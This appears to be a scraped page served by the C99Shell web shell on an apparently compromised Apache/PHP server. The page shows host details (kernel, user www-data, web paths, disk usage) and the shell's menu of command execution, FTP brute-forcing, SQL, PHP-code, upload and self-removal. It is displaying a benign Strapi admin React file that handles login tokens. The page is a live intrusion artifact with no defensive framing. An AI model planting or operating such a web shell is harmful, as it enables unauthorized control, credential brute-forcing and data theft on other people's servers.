!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/strapi-admin/ee/admin/containers/AuthResponse/   drwxr-xr-x
Free 13.12 GB of 57.97 GB (22.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (1.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import React, { useEffect, useRef, useCallback } from 'react';
import { useHistory, useRouteMatch } from 'react-router-dom';
import { useIntl } from 'react-intl';
import Cookies from 'js-cookie';
import { auth, LoadingIndicatorPage, request } from 'strapi-helper-plugin';
import { getRequestUrl } from '../../../../admin/src/utils';

const AuthResponse = () => {
  const {
    params: { authResponse },
  } = useRouteMatch('/auth/login/:authResponse');
  const { formatMessage } = useIntl();
  const { push } = useHistory();
  const formatMessageRef = useRef(formatMessage);

  let redirectToOops = useCallback(() => {
    push(
      `/auth/oops?info=${encodeURIComponent(
        formatMessageRef.current({
          id: 'Auth.form.button.login.providers.error',
          defaultMessage: 'We cannot connect you through the selected provider.',
        })
      )}`
    );
  }, [push]);

  const fetchUserInfo = useCallback(async () => {
    try {
      const jwtToken = Cookies.get('jwtToken');

      auth.clearAppStorage();

      if (jwtToken) {
        auth.setToken(jwtToken, true);
        const requestUrl = getRequestUrl('users/me');
        const { data } = await request(requestUrl, { method: 'GET' });

        auth.setUserInfo(data, true);

        Cookies.remove('jwtToken');

        push('/auth/login');
      }
    } catch (e) {
      redirectToOops();
    }
  }, [push, redirectToOops]);

  useEffect(() => {
    if (authResponse === 'error') {
      redirectToOops();
    }

    if (authResponse === 'success') {
      fetchUserInfo();
    }
  }, [authResponse, fetchUserInfo, redirectToOops]);

  return <LoadingIndicatorPage />;
};

export default AuthResponse;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0293 ]--